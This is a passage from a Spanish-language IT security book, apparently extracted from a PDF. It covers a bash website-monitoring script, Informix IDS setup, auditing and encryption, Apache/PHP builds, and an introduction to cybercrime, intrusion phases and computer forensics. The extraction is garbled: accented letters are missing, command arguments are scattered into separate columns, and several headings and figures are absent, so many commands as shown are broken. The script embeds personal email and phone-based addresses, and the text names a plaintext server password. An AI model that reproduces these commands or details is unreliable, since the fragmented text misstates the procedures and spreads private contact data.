3.4.2
#!/bin/bash
tmp="/tmp/`basename $0`.`date +%F`"
log="`echo $tmp | tr ' ' '-'`"
des="3102349772@comcel.com,tecnico@globalteksecurity.com"
rec="acarvajalr@gmail.com"
www="www.globalteksecurity.com"
alt="www.google.com"
sem="$log.$www.sem"
# echo "Revisando portal $www cada 15 minutos v1.0" | mail -s "Vigia Activado" -r $rec $des
wget --spider -o $log.$www $www
rt1="$?"
wget --spider -o $log.$alt $alt
rt2="$?"
# $? 0 - Indica que el servicio esta bien
# $? 1 - Indica que el servicio esta mal
# Se cayo el portal vigilado y google no cae
if test "$rt1" = 1 && "$rt2" = 0 ; then
if test ! -f "$sem" ; then
touch $sem
echo "Atencion: No me responde el portal $www, por favor revisar.`date`" | mail -s "Portal Caido" -r
$rec $des
fi
fi
# Se cayo portal y google tambien => Internet caido en modelia
if test "$rt1" = 1 && "$rt2" = 1 ; then
if test ! -f "$sem" ; then
touch $sem
echo "Atencion: Internet caido en modelia, por favor revisar.`date`" | mail -s "Modelia Caido" -r $rec
tecnico@globalteksecurity.com
fi
fi
480
3.5
4.0
Conclusiones
5.0
[1]. R.P. Abbott, J. S. Chin, J.E. Donnelley, W.L. Konigsford, S. Tokubo, and D.A. Webb. Security Analysis
and Enhancements of Computer Operating Systems. NBSIR 76-1041, National Bureau of Standards, ICST,
Washington, D.C., 1976
[2]. http://www.fortify.com/vulncat/en/vulncat/index.html
[3]. Lee Babin, Beginning Ajax with PHP, Apress, 2007. ISBN 1-59059-667-6
[4]. Chris Snyder and Michael Southwell, Pro PHP Security, Apress, 2005. ISBN 1-59059-508-4
[5]. Paco Hope E Ben Walther, Web Security Testing Cookbook, OReilly, 2008. ISBN 978-0-596-51483-9
481
Captulo 20
Seguridad en Bases de datos
Objetivos:
2.0
Informix
Informix
Informix
Informix
Informix
Informix
SQL
4GL
IDS
ClientSDK
ESQLC
Web Datablade
482
INFORMIXDIR=/usr/informix
PATH=$PATH:$INFORMIXDIR/bin
INFORMIXSERVER=emmsa_shm
export INFORMIXDIR PATH INFORMIXSERVER LD_LIBRARY_PATH
LANG=ISO-8859-15
export LANG
la variable LANG permite que en la base de datos pueda grabar caracteres acentuados como las letras , , ,
, , ,
Informix IDS buscaran de preferencia la variable LD_LIBRARY_PATH, si no existe esta variable entonces
buscara el archivo /etc/ld.so.conf.
Se recomienda el uso la variable LD_LIBRARY_PATH para evitar la perdida de algunos milisegundos.
Esta es una copia del archivo /etc/ld.so.conf que hace ms lento al sistema si lo utilizramos:
/usr/X11R6/lib/Xaw3d
/usr/X11R6/lib
/usr/i486-linux-libc5/lib=libc5
/usr/i386-suse-linux/lib
/usr/local/lib
/opt/kde3/lib
/opt/gnome/lib
include /etc/ld.so.conf.d/*.conf
###############################
# Librerias para Informix 4GL #
###############################
/usr/informix/lib
/usr/informix/lib/c++
/usr/informix/lib/cli
/usr/informix/lib/client
/usr/informix/lib/csm
/usr/informix/lib/dmi
/usr/informix/lib/esql
/usr/informix/lib/tools
/usr/informix/extend/web.4.13.UC3/apache
Si no desea salir de la sesin digite el siguiente comando:
#.
./.profile
3.0
483
A este mtodo tambin se le llama archivos cocinados o Cook Files, para ello, cree los archivos que
contendrn los datos:
# touch /u/informix/datos/chunk_rootdbs1
# touch /u/informix/datos/chunk_logs1
# touch /u/informix/datos/chunk_temp1
# touch /u/informix/datos/chunk_datos1
Cambie los permisos a 660 para que el usuario informix pueda manipular los dispositivos:
# chmod 660 /u/informix/datos/chunk*
...
El dueo y el grupo debe ser el usuario y grupo informix
# chmod 660 /u/Informix/datos/chunk*
# chown informix:informix /u/informix/datos/chunk*
...
Para este caso se encuentra el siguiente espacio disponible:
/audit 2.5GB
/data 7.6GB
484
# touch /audit/informix/chunk_rootdbs1
# touch /data/informix/chunk_datos1
# touch /data/informix/chunk_datos2
Para este caso dado el poco recurso se usaran archivos cocinados, no usaremos raw devices, esto se debe a
que el servidor no cuenta con los volmenes necesarios que podran ser:
/dev/vg02/lvol01 para el primer chunk segn lo diseado, /dev/vg02/lvol02 para el segundo chunk.
raw1:sdc1
raw2:sdc2
raw3:sdc3
raw4:sdd1
raw5:sdd2
raw6:sdd3
raw7:sdd5
raw8:sdd6
raw9:sdd7
raw10:sdd8
raw11:sdd9
raw12:sdd10
raw13:sdd11
raw14:sdd12
raw15:sdd13
raw16:sdd14
raw17:sdd15
Paso 3: Extraccin de Informix IDS.
/u/ids11.50.uc1.32bits.tar
485
onipcshm
onsoctcp
nomb_maquina
nomb_maquina
sqlexec_shm
sqlexec_soc
s=3
onipcshm
onsoctcp
emmsa
emmsa
sqlexec_shm
sqlexec_soc
486
s=3
Revise que los archivos sqlhost y onconfig tengan como dueo al usuario informix del grupo
informix.
El archivo /etc/services debera verse as:
sqlexec_soc
sqlexec_soc
9088/tcp
9088/udp
Ntese que en este archivo no aparece la instancia sqlexec_shm o shared memory pues este usa solamente
el mecanismo local y no el de red.
487
El primary Path es el dispositivo o device que usted elija, para esta pantalla se seleccion un archivo plano
/audit/informix/chunk_rootdbs1, pero lo ideal por seguridad es un raw device dedicado a Informix como
por ejemplo /dev/raw/raw1.
Raw device indica que es un dispositivo del cual Unix/linux no sabe como manejarlo es como una cinta de
tape backup o dispositivo en bruto.
Linux/Unix permite que otro sistema de gestin de datos manipule el contenido del disco sin depender del
sistema operativo.
Se conocen casos reales de 250 usuarios donde estas variables deben configurarse como Phy log size =
80.000, Log size = 40.000, para obtener excelentes rendimientos respecto del manejo de logs de
transacciones, claro si hay espacio en disco.
Al digitar ESC el sistema inicializar el espacio por usted seleccionado. Ahora vera la siguiente ventana:
488
Lo ms importante en esta ventana es el nombre del servidor o Server Name para este caso se tomo
emmsa_shm.
Como Server Alias se dejo emmsa_soc para que se pueda acceder por red al servidor de informix.
Estos nombres son elegidos a gusto del usuario, pero debe recordarse que uno apunta al mecanismo shared
memory y el alias debe apuntar al nombre del servidor o tarjeta de red.
La variable max # locks = 500.000 indica que la tabla transaccional mas grande que suba al sistema por
bloqueo de registros permitir como maximo 500.000 registros, se debe modificar dependiendo del
crecimiento de la tabla que tenga mayor numero de registros.
La variable Max # Buffers = 500.000 se usa para la memoria de tipo buffer particular que usara informix,
para una Shared memory de 1.2GB, se debe modificar dependiendo de la cantidad libre de RAM en el
servidor, esta cantidad se verifica con el comando top desde el usuario root. Si el sistema informix y el
sistema operstivo son de 32 bits esta no crecer a mas de 1.2GB.
En la variable DBSPACETEMP se debe colocar el nombre del dbspace creado como temporal, para este caso
mas tarde se llamara dbtemp con el objetivo de que los temporales de informix no utilicen los temporales
de Unix/Linux y asi mejorar el rendimiento.
La siguiente pantalla describir como los nombres del servidor se asocian a la red:
489
Note las lneas debajo de NETTYPE settings: ipcshm indica que este servidor emmsa_shm debe existir en
el archivo /usr/informix/etc/sqlhosts para registrar que el servidor informix funcionar con el mecanismo
local de intercomunicacin de procesos memoria compartida o shared memory.
En VP-class digite NET para ipcshm.
soctcp indica que este servidor emmsa_soc (note que el nombre no es el mismo, este es el alias) debe
existir en el archivo /usr/informix/etc/sqlhosts para permitir que el servidor de informix pueda atender
clientes de red por TCP/IP.
En VP-class digite CPU para soctcp.
Nota:
La variable Threads debe ser 1 por cada 100 usuarios, entonces si vamos a tener 500 usuarios debemos
tener en Threads = 4 y Users = 500, pero debemos tener 4 nucleos dentro de los procesadores.
Actualmente el mtodo TLI no esta soportado en Linux, nicamente lo soporta Unixware 7.1.x y otros
sistemas Unix como HPUX, AIX y SUN Solaris.
Para terminar siga digitando ESC y aceptando las diferentes ventanas.
Si va a utilizar varias instancias modifique la variable Messages Log con el nombre de los logs de la
respectiva instancia.
La variable Non PDQ Query memory djela en blanco.
El resto de parmetro por ahora no los cambie, mas adelante se hara finamiento para mejorar el
rendimiento.
Es importante resaltar que por cada instancia se deben tener las siguientes variables como mnimo:
INFORMIXDIR=/usr/informix
PATH=$PATH:$INFORMIXDIR/bin
INFORMIXSERVER=emmsa_shm
export INFORMIXDIR PATH INFORMIXSERVER
Y cambia la variable INFORMIXSERVER.
490
Ahora debe crear el resto de dbspaces segn el diseo elaborado con el comando onmonitor.
491
492
#!/bin/sh
#
# OJO: Primero se debe modificar la variable LOGS=3
#
clear
base="datosdbs"
echo "Creando DBSPACES: " $base
onspaces -c -d $base -p /dev/raw/raw4 -o 0 -s 4000000 -k 4
ontape -s
onspaces -a
onspaces -a
onspaces -a
onspaces -a
onspaces -a
onspaces -a
onspaces -a
ontape -s
$base
$base
$base
$base
$base
$base
$base
-p
-p
-p
-p
-p
-p
-p
/dev/raw/raw5
/dev/raw/raw6
/dev/raw/raw7
/dev/raw/raw8
/dev/raw/raw9
/dev/raw/raw10
/dev/raw/raw11
-o
-o
-o
-o
-o
-o
-o
0
0
0
0
0
0
0
-s
-s
-s
-s
-s
-s
-s
4000000
4000000
4000000
4000000
4000000
4000000
4000000
# Finaliza
onmode -ky
oninit -v
Comandos comunes.
493
Recomendaciones:
Incremento de la Memoria Compartida (Shared Memory):
Nunca se debe usar una shared memory mayor a la memoria RAM pues Informix obligara al sistema a hacer
swaping.
Se recomienda usar el 75% de la memoria RAM para Informix y el 25% restante se le debe dejar al sistema
operativo.
onparams
onparams
onparams
onparams
onparams
onparams
a
a
a
a
a
a
-d
-d
-d
-d
-d
-d
logdbs
logdbs
logdbs
logdbs
logdbs
logdbs
Paso 2: Para borrar los logical logs nmeros 4,5 y 6 del rootdbspace digite:
# onparams d l 6 -y
# onparams d l 5 -y
# onparams d l 4 -y
El log numero 1 quedara en uso aparece la letra U y debemos pasarlo al siguiente logical log, para ello
digite:
# onmode l
Un backup de datos nivel 0 y un backup de logical logs se recomienda para que se borren fsicamente esos
espacion liberados.
# ontape s
Nota: Se deben ejecutar los dos comandos anteriores hasta que las letras L y C se ubiquen fuera del log que
deseo borrar.
494
Para subir una base de datos llamada datos al dbspace datosdbs digite:
# dbimport d datosdbs datos
oncheck
oncheck
oncheck
oncheck
oncheck
495
4.0
Para que un usuario en Microsoft Excel pueda acceder al servidor Informix debe instalar y configurar el IBM
Informix Connect para Windows.
Si la necesidad de acceso es para hacer desarrollo de software entonces se debe instalar en cambio IBM
Informix CSDK que ya incluye Informix Connect.
Paso 1: Por ftp o SSH transfiera la carpeta /usr/informix/ICONNECT/WINDOWS
Paso 2: Ejecute el instalador con usuario que tenga permisos de administrador del sistema Windows
Paso 3: Adicione el servicio sqlexec_soc al archivo services de Windows que se encuentra en la direccin
C:\Windows\System32\Drivers\Etc\Services as:
sqlexec_soc
sqlexec_soc
9088/tcp
9088/udp
496
Paso 4 : Configure el entorno ejecutando Inicio, Programas, IBM Informix Connect x.xx, Setnet32
Paso 5 : Diligencie el formulario en la carpeta Server Information, inicializando las siguientes variables:
INFORMIXSERVER es la instancia definida en el servidor, HostName es el IP o nombre DNS del servidor,
Protocolname debe ser igual a onsoctcp para indicar conexin va sockets al servidor, finalmente Service
name sqlexec_soc todos estos datos estn en el servidor Unix/Linux en el archivo /usr/informix/etc/sqlhosts
Paso 7 : Diligencie el formulario en la carpeta Host Information, inicializando las siguientes variables:
497
Donde Current Host debe ser igual al IP del servidor 192.168.1.20, Username informix, Password Option
debe ser Password para indicar que se le suministrara la clave del servidor, finalmente el password del
servidor que para este caso es informix.
Paso 8: Pruebe la conectividad sin el ODBC: Inicio, Programas, IBM Informix Connect x.xx, Ilogin Demo
Paso 9: Configure el ODBC: Inicio, Configurar, Panel de control, Herramientas administrativas, Origenes de
datos, DSN de usuario, agregar.
498
499
Ahora presione el boton de pruebas Apply & Test Connection, si todo esta bien diligenciado debe obtener el
siguiente mensaje:
500
501
El sistema guardara la consulta con el nombre de la tabla, seleccione la consulta que acaba de crear.
502
5.0
Los componentes que permiten esta interaccion son: ODBC, JDBC, y la conectividad nativa que cada
producto de base de datos suministra.
En el caso de IBM Informix IDS, se suministra el IBM Informix ESQL.
Se recomienda el IBM Informix ESQL cuando la velocidad de acceso y los volmenes de datos a menajar son
muy importantes.
Si nicamente necesitamos hacer consulta el ODBC y el JDBC son excelentes.
Para hacer que PHP se conecte en forma directa con el motor de bases de datos IBM Informix IDS use las
siguientes recomendaciones:
Antes de empezar:
INFORMIXDIR=/usr/informix
export INFORMIXDIR
PATH=$PATH:$INFORMIXDIR/bin
export PATH
INFORMIXSERVER=linux_shm
export INFORMIXSERVER
503
Para compilar el servidor web y que este permita en tiempo de ejecucin mdulos adicionales como PHP, se
debe configurar la instalacin con el modulo so, como se dijo al inicio de este documento:
#. /configure -enable-module=so
El parmetro enable-module=so en la configuracin de apache obedece a que PHP utiliza libreras con
soporte para DSO (Dynamic Shared Objets).
Para compilar los programas Fuentes de apache que vienen en lenguaje C
# make
Para instalar en la carpeta por defecto
# make install
Para subir el servicio web digite:
# /usr/local/apache2/bin/apachectl start
Para apagarlo digite:
# /usr/local/apache2/bin/apachectl stop
La pagina web principal de prueba del servidor est en la carpeta /usr/local/apache2/htdocs/index.html
IMPORTANTE: El autor recomienda la siguiente lnea de comandos para compilar apache con
soporte a mdulos como Open SSL, Open Ldap, autenticacin contra Open Ldap, compartir
mdulos y reescribir pginas en tiempo de ejecucin:
# ./configure
--enable-module=so
--with-include-apr
--enable-ssl
--with-ssl=/usr/local/ssl
--with-ldap
--enable-ldap
--enable-authnz-ldap
--enable-shared=max
--enable-module=rewrite
504
Esto indica que el usuario Informix tendr como directorio principal /usr/informix y como shell el bash muy
conocido en linux.
Ahora ingrese con el usuario informix, descomprima e instale Informix Client Software Development Kit para
LINUX.
Este se puede obtener desde el url de IBM: www.ibm.com/informix
Descargue el software pdo_informix desde el sitio http://www-306.ibm.com/software/data/informix/php/
Ver la siguiente pantalla:
505
php*
Para compatibilidad con Apache 2.0.x con las opciones ms usadas por los programadores:
./buildconf --force
./configure --with-apxs2=/usr/local/apache2/bin/apxs
--with-ldap=/usr/local
--with-openssl=/usr/local/ssl
--disable-debug
--enable-pdo
--enable-shared
\
\
\
\
\
# php -m
506
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
\
# make
# make test
# make install
Para indicarle al explorador web que hacer cuando el usuario digite alguna pagina con la extensin .php
adicione al archivo de apache /usr/local/apache2/conf/httpd.conf las siguientes lneas:
LoadModule php5_module modules/libphp5.so
Este paso lo hace el instalador de PHP por defecto cuando se digita el comando make install
AddType application/x-httpd-php .php
Este paso sobre el tipo de aplicacin, le dice al apache que ejecute aplicaciones de tipo PHP cuando el
archivo contenga la extensin .php, este paso debe hacerse manualmente.
Copie el archivo php.ini-dist del directorio /tmp/php* hacia el directorio /usr/local/lib/php.ini de su sistema
operativo.
Nota: Si obtiene errores en Linux Fedora Core IV cambie los permisos del archivo libphp5.so con el
comando:
# chcon -t texrel_shlib_t /usr/local/apache2/modules/libphp5.so
Ahora reinicie Apache con el comando /usr/local/apache2/bin/apachectl restart
Para probar que php esta funcionando en forma correcta haga el siguiente programa y ejectelo dede un
explorador web:
<?php
phpinfo();
?>
Guarde este script en el directorio de sus pginas web, por defecto en apache 2.0 se llama
/usr/local/apache2/htdocs/phpinfo.php,
para
ejecutarlo
desde
el
explorador
digite
el
URL
http://localhost/phpinfo.php.
Importante: No deje ese script en la carpeta pblica del servidor web porque un atacante vera la versin de
su sistema y le ser ms fcil explotar una vulnerabilidad
5.4 Instalacin del modulo pdo_informixpara conectividad con IBM Informix IDS 10.x/11.x
Descargue el software pdo_informix desde el sitio http://www-306.ibm.com/software/data/informix/php/
Ver la siguiente pantalla:
507
cd /tmp
tar xvmf PDO*
mv PDO_INFORMIX-1* /tmp/php-*/ext/pdo_informix
cd php-*/ext/pdo_informix
phpize
./configure
make
Revise la carpeta modules y encontrara el archivo pdo_informix.so, copie este archivo hacia la carpeta
/usr/local/apache/modules
Edite el archivo /usr/local/lib/php.ini de PHP y busque la variable extension_dir, esta variable indica cual es
el directorio donde estarn los mdulos que se cargaran en tiempo de ejecucin:
extension_dir
extension
extension
= "/usr/local/apache2/modules/
= pdo.so
= pdo_informix.so
508
Hasta aqu se garantiza que el driver en el servidor de aplicaciones PHP/Apache nos dara conectividad hacia
el motor de gestin ed bases de datos.
Ahora haga un programa que demuestre la conexin contra la base de datos y gurdelo en la carpeta del
servidor web /usr/local/apache2/htdocs/pdo_informix.php:
509
510
6.0
restart
6.2
Users mask, sirve para identificar en la auditoria a un nico usuario: existen a la fecha tres clases
de mascaras o mask,
_default mask (contiene los filtros bsicos del sistema de auditoria),
_require mask (contiene los filtros de mas alta prioridad) y
_exclude mask (lista los eventos que no deben ser auditados)
6.3
onaudit: es la herramienta que permite activar la auditoria especializada para el motor IBM
Informix IDS 11, adems permite crear los eventos y filtros o mascaras que la auditoria debe llevar.
511
se debe apagar
se debe iniciar
que ejecute el database system security officer (dbsso)
que ejecute el database system administrator (dbsa)
de los usuarios normales admeas de dbsso y dbsa
(-p) _ ADTPATH: Indica el camino de los archivos/ficheros donde estan los logs
(-s) _ ADTSIZE: Indica el maximo tamanio del archivo/fichero de auditorias. Cuando se alcanza el limite
del archivo/fichero, este pasa a un tamanio de cero bytes.
(-e) _ ADTERR: Indica que debe hacer el servidor cuando se den errores
0 Indica que la auditoria debe continuar cuando encuentre errores
1 Indica que el thread o hilo se debe suspender al grabar el registro en la bitcora de la auditoria
2 Indica que el thread o hilo se debe suspender al grabar el registro adems de apagar el motor de bases de
datos
Cuando se activa la auditoria en el IBM Informix IDS 11 este guardara los parmetros en el archivo/fichero
de configuracin /usr/informix/aaodir/adtcfg
6.4
512
Hasta este momento solo hemos activado el servicio de auditorias pero aun no hemos incluido a que objetos
del sgdb y menos a que filtros o mascaras.
Por ejemplo para adicionar una mascara que vigile a cualquier usuario se debe usar la mascara/mask
_default que representa a todos los usuarios del sistema, adems debemos indicar que acciones debemos
auditar, por ejemplo se desea vigilar la accin borrar una tabla, esto lo representa la sigla DRTB por el
ingles DRop TaBle:
$ onaudit -a u _default -e +DRTB,GRDB
Explicacion de los parmetros del comando:
Para modificar una mascara se debe usar la opcin m en el comando onaudit, para borrar se debe usar la
opcin d.
En el siguiente ejemplo se esta adicionando la mascara GRXM a las mascara que ya existe para todos los
usuarios del sistema:
$ onaudit -m u _default -e +GRXM
Para ver los filtros o mascaras use el comando:
$ onaudit -o y
6.6
Para leer las auditorias no debemos tocar los archivos planos pues por seguridad se dejaran inservibles las
bases de datos en archivos planos.
Se recomienda el siguiente comando para leer las bases de datos de auditorias:
$ onshowaudit I
Para leer la auditoria de un usuario especifico de un servidor dado:
$ onshowaudit u root s servidor_dado
Se podra crear una base de datos con una tabla para almacenar estos logs de auditorias, se propone el
siguiente schema de tabla para la base de datos de auditorias y con SQL seria mas fcil hacer consultas:
CREATE DATABASE db_auditoria;
CREATE TABLE tab_auditoria (
instancia
CHAR(5),
timestamp
DATETIME YEAR TO FRACTION(3),
servidor_host
CHAR(32),
pid
INT,
nom_instancia
CHAR(32),
username
CHAR(32),
errno
INT,
codigo_evento
CHAR(5),
basedatos
CHAR(128),
eventinfo
CHAR(2048)
);
513
7.0
7.1
Esta carateristica viene desde IBM Informix IDS 10 y busca garantizar la confidencialidad de los datos
crticos, por ejemplo nunca debe estar en claro el numero de la tarjeta de crdito o debito que uso el cliente
en una transaccion, el numero de la cuenta corriente y de ahorros, el numero de seguridad social, las
enfermedades de los pacientes y en general la informacion secreta, confidencial que nadie mas diferente al
duenio de la informacion podr ver.
IBM Informix IDS suministra dentro del producto desde las versiones 10 y 11 unicamente dos funciones
especificas para cifrar y descifrar datos con tecnologas simetricas:
Encrypt_aes(datos a cifrar,clavesecreta,hint) que usa el cifrado AES (advanced encrypcion system)
Encrypt_tdes(dato a cifrar,clave secreta,hint) que usa el cifrado 3DES.
El usuario debe suministrar a la funcin de cifrado una variable y una clave secreta de minimo 6 caracteres y
mximo 128 caracteres.
La palabra secreta o clave secreta puede ser suministrada en forma global con la instruccin:
Set encryption password clavesecretadadaporelusuario with hint texto hint para recordar la clave
La opcion hint es muy util para recordar la clave que se haba utilizado durante el cifrado.
Para descifrar existen incluidas y preconfiguradas las siguientes funciones:
Decrypt_char(campo,calvesecreta), para campos que contengan caracteres.
Decrypt_binary(campo,clavesecreta) para campos que contengan objetos binarios.
Las aplicaciones web usan en forma intensiva la palabra clave opcional hint pues cada fila podra tener una
clave diferente.
Si olvidamos el password o clave secreta lo podemos obtener con el siguiente comando:
SELECT GETHINT("columna cifrada) FROM table
Veamos un ejemplo:
CREATE TABLE departamentos (
nombre_dpto
tarjeta_credito
char(50),
char(100)
);
SET ENCRYPTION PASSWORD "redbook" WITH HINT "Libro que IBM recomienda";
INSERT INTO departamentos VALUES(Cundinamarca,ENCRYPT_AES("1234467891012345"));
SELECT GETHINT(tarjeta_credito) FROM departamentos;
Que debera retornar la ultima consulta de tipo SQL?
Respuesta:.
a) redbook
b) nombre_dpto
c) IBM
d) Libro que IBM recomienda
e) Ninguna de las anteriores
7.2
514
CHAR, VARCHAR, NCHAR, NVARCHAR, LVARCHAR, SMALLINT, INTEGER, INT8, DECIMAL, SMALLFLOAT,
FLOAT, DATE, DATETIME, INTERVAL, BOOLEAN, BLOB y CLOB
El dato cifrado se puede guardar en los siguientes tipos de datos:
CHAR, NCHAR, VARCHAR, NVARCHAR, LVARCHAR, BLOB, CLOB
7.3
No se debe abusar del uso de estas funciones de cifrado, entre mas se cifra mas recursos
computacionales se requieren y el rendimiento puede impactarse
Se debe recordar que cada campo cifrado se aumenta en tamanio unas 3 veces, es decir si temos
15 bytes para cifrar es muy probable que el resultado cifrado pese unos 45 bytes en promedio
Es ideal mantener la misma clave para toda la columna, pero a veces es imposible
No deben crearse ndices sobre las columnas cifradas, al descifrarlas el ndice ya no sirve pues una
misma cadena genera diferentes textos cifrados, de nada sirven los textos cifrados en las consultas
8.0
Roles en IDS 11
8.1
La norma ISO 27002:2005 sugiere los roles con el fin de disminuir los riesgos y los errores que acarrean el
tener un sola persona con tanta responsabilidad centralizada.
IBM Informix IDS propone los siguientes roles para dar cumplimiento a las diferentes normas que sugieren
proteger la informacion basados en los parmetros confidencialidad, integridad y disponibilidad.
8.1.1
Database server administrator (dbsa): Esta cuenta de usuario es la responsable de instalar y
configurar el motor de bases de datos, adems debe afinar, mantener las instancias de datos, resolver
problemas y hacer y restaurar los backups.
8.1.2
Database system security officer (dbsso): Define las auditorias para usuarios especficos en las
bases de datos locales.
8.1.3
pistas.
Audit analysis officer (aao): Es el responsable de configurar la auditoria y hacer los seguimientos de
8.1.4
8.1.5
Operating system administrator (osa): Define y mantiene las cuentas de los usuarios, instala el
motor de la base de datos, cambia los grupos y crea los perfiles de los usuarios. Mantiene los parmetros del
kernel y configura los limites de los recursos del sistema, como la memoria y la cpu.
8.1.6
8.1.7
Usuarios priviligiados: Define las cuentas de los usuarios informix y root como usuarios con niveles
de permisos priviligiados.
Cuando se instala el IBM Informix IDS 11 este le preguntara si desea habilitar la separacin de roles, esta
configuracin queda almacenada en el archivo/fichero /usr/informix/dbssodir/seccfg con los siguientes
permisos:
drwxrwxr-x
drwxr-xr-x
-rw-r--r--rw-rw----
2
33
1
1
informix
informix
informix
informix
dbsso 256
informix 4096
dbsso 846
dbsso 10
Aug 23 15:43 .
Aug 23 16:08 ..
Jul 25 10:02 adtmasks.std
Jul 25 10:02 seccfg
Bibliografia
Security and compliance solutions for IBM Informix Dynamic Server 11, IBM, Marzo de 2008, Wheijen chen.
515
PARTE V
INVESTIGACION FORENSE
516
Captulo 21
Investigacin en Computacin Forense
1.0
El cibercrimen
Los principales actores hacia una legislacin internacional han sido hasta ahora el Consejo de Europa (COE) y
el G-8, Estados Unidos se ha mantenido activo tanto en el desarrollo como en la promocin de estos
esfuerzos de legislacin global.
En el ao 2001 se adopta la Convencin sobre Cibercrimen del Consejo Europeo, que requiere la cooperacin
entre pases para la investigacin de los cibercrmenes, an si el "crimen" a investigar no fuera considerado
tal en el pas al que se le requiere informacin.
El cibercrimen se fortalece por el desconocimiento de los riesgos e implicaciones de las tecnologas de
informacin en los negocios, en el gobierno, en la educacin en la salud y en general en la sociedad de la
informacin.
El cibercrimen crece aparentemente en forma inocente porque libremente en Internet se encuentran
herramientas para explotar vulnerabilidades de los activos de informacin como www.metaesploit.org y es
entonces cuando las nuevas generaciones de terroristas ven en estos portales inocentes una oportunidad de
hacerse sentir y por ello estn creciendo en nuestro actual mundo digital.
Que es el cibercrimen
Las autoridades de nuestros pases tienen graves limitaciones de presupuesto y en general estn atados a la
lentitud de la ley para entender o tipificar estas nuevas formas de delitos, por ello la mentalidad de los
criminales es la misma respecto de delitos informticos, Internet es solo un nuevo canal para cometer delitos
2.0
El Ciberterror
517
pnico. En general los ciudadanos no somos muy consientes pero el ciberespacio esta bajo constante ataque,
algunos autores le llaman bomba lgica, Por el momento el carro-bomba representa una mayor amenaza
que la bomba lgica. Dorothy E. Denning
En wikipedia se define el Ciberterrorismo o Terrorismo electrnico como el uso de medios de
tecnologas de informacin, comunicacin, informtica, electrnica o similar con el propsito de generar
terror o miedo generalizado en una poblacin o clase dirigente o gobierno, causando con ello una violencia a
la libre voluntad de las personas. Los fines pueden ser Econmicos, Polticos, Religiosos, o simplemente de
odios o prejuicios
Ciberterror
No lo sentimos Y pero el ciberespacio
esta bajo constante ataque
Por el momento el carro-bomba
representa una mayor amenaza que la
bomba lgica. Dorothy E. Denning
3.0
3.1
Reconnaissance
El intruso hace reconocimiento de la vctima mediante pruebas de conectividad con los comandos ping,
traceroute, dig, nslookup, enumeracin de servicios (ejemplo nmap) y finalmente hace anlisis de
vulnerabilidades (ej: Nessus, GFI Lan Guard)
3.2: Exploitation
El intruso basado en el anlisis de vulnerabilidades busca el cdigo que ataca la vulnerabilidad, es de
conocimiento pblico que el objetivo ms atacado es el servidor web, esto se hace mediante exploits o
encontrando errores de validacin en formularios, es frecuente que esto se haga desde un IP diferente al IP
desde donde se hizo el reconocimiento de las vulnerabilidades de la vctima
3.3: Reinforcement
El intruso estando dentro de la vctima obtiene sus herramientas o utilitarios de ataque usando tftp, ftp, scp,
luego borra las pistas de la penetracin e instala un backdoor o puerta trasera para prximas penetraciones,
generalmente se le pone suplementos al sistema para evitar que otro atacante entre a la vctima.
3.4: Consolidation
Usando otro IP diferente a los anteriores penetra la vctima por medio del backdoor o puerta trasera ya
instalada que escucha por un puerto de tipo servidor, otra opcin utilizada es que un proceso en la vctima
cliente denominado IRC Internet Relay Chat llama al servidor del atacante y permite ejecutar comandos
remotos hacia la vctima.
3.5: Pillage
El intruso ejecuta la ltima parte del plan, generalmente roba informacin crtica y ataca a otras vctimas
basados en el IP de la vctima anterior entonces podra hacer lo que desee con nuestro servidor atacado
4.0
518
En la mayora de los pases latinoamericanos faltan normas y leyes para tratar los delitos informticos, la
falta de legislacin nos lleva a que la conducta punible no sea castigada, pero no todo es malo y estamos
evolucionando por ejemplo en Colombia existe la ley 527 de comercio electrnico que busca un marco
jurdico robusto.
Hay una evolucin importante durante el periodo 2007 con la actualizacin del cdigo penal, pero el autor de
este documento sugiere educar y concientizar a los usuarios, capacitar al personal tcnico en seguridad
informtica, crear grupos elite en las organizaciones, seguir los estndares ISO 17799:2005/ISO IEC
27002:2005 e ISO IEC 27001, en concreto se debe crear una cultura de investigacin forense.
5.0
Computacin Forense
519
5.1
Computacin/Investigacin forense: Provee a partir de principios y/o tcnicas cientficas, la
posibilidad de metodolgicamente identificar, recuperar, reconstruir, o analizar evidencia digital dentro de
una investigacin de un incidente informtico, o un caso en el que se encuentren computadores
involucrados. Casey
5.2
Computacin/Investigacin forense: Hace entonces su aparicin como una disciplina auxiliar de la
justicia moderna, para enfrentar los desafos y tcnicas de los intrusos informticos, as como garante de la
verdad alrededor de la evidencia digital que se pudiese aportar a un proceso, Jeimy J. Cano, Revista
Sistemas Acis, numero 96, abril-junio 2006
5.3
La investigacin de evidencia digital o anlisis forense de sistemas de informacin, es el conjunto
de tcnicas, protocolos y conocimientos dirigidos a identificar, analizar, preservar y aportar evidencias
digitales, de manera que sean vlidas en un marco judicial. Comprende la identificacin, extraccin,
preservacin y respaldo documental de la evidencia en entornos digitales de procesado y almacenamiento de
la informacin, Daniel cruz allende, Ingeniero tcnico en Informtica de gestin por la Universidad
politcnica de Catalua, profesor www.uoc.edu, 2007.
6.0
Antes de ordenar una investigacin forense se debe hacer la atencin del incidente para diagnosticar si es
necesario llegar a tal punto, pues los costos pueden ser altos dado que se podra necesitar la ayuda de un
tercero experto sino se cuentan con los expertos internamente.
Es interesante que en las organizaciones se tenga un rea para atencin de incidentes pero a veces se
confunde con la investigacin forense, no son lo mismo y solo debemos hacer investigacin forense cuando
sea absolutamente necesario.
Un incidente debe ser tratado con las recomendaciones minimas forenses para precautelar la evidencia
colectada ante la posibilidad de la comision de un delito que tenga que ser investigado posteriormente,
Guido Rosales, Lista de seguridad Segurinfo, Septiembre de 2007.
Generalmente se encuentran los siguientes roles en las organizaciones que toman en serio la norma ISO
17799:2005/ISO 27002:2005 en cuanto a la atencin de incidentes:
Se deben analizar los incidentes de seguridad que sean ms frecuentes y estudiar la forma de resolverlos
con acciones que minimicen el impacto del incidente.
Se deberan recoger una serie de registros de todos los incidentes de seguridad, de manera que de su
anlisis se puedan extraer conclusiones que permitan deducir si han sido provocados de forma voluntaria o
no. Estas evidencias deben guardarse de manera que nadie pueda modificarlas ni eliminarlas. Adems,
deben estar disponibles para cualquier anlisis por parte de las personas que se encargan de su gestin.
Se deben tener en consideracin los posibles requisitos que hay que cumplir, que se reflejan en la legislacin
actual, para que estas evidencias puedan utilizarse en procesos judiciales.
520
7.0
La evidencia Digital
Se le llama evidencia digital a cualquier registro generado o almacenado en un sistema de cmputo que
pueda ser utilizado como evidencia en un proceso legal
Veamos algunas definiciones:
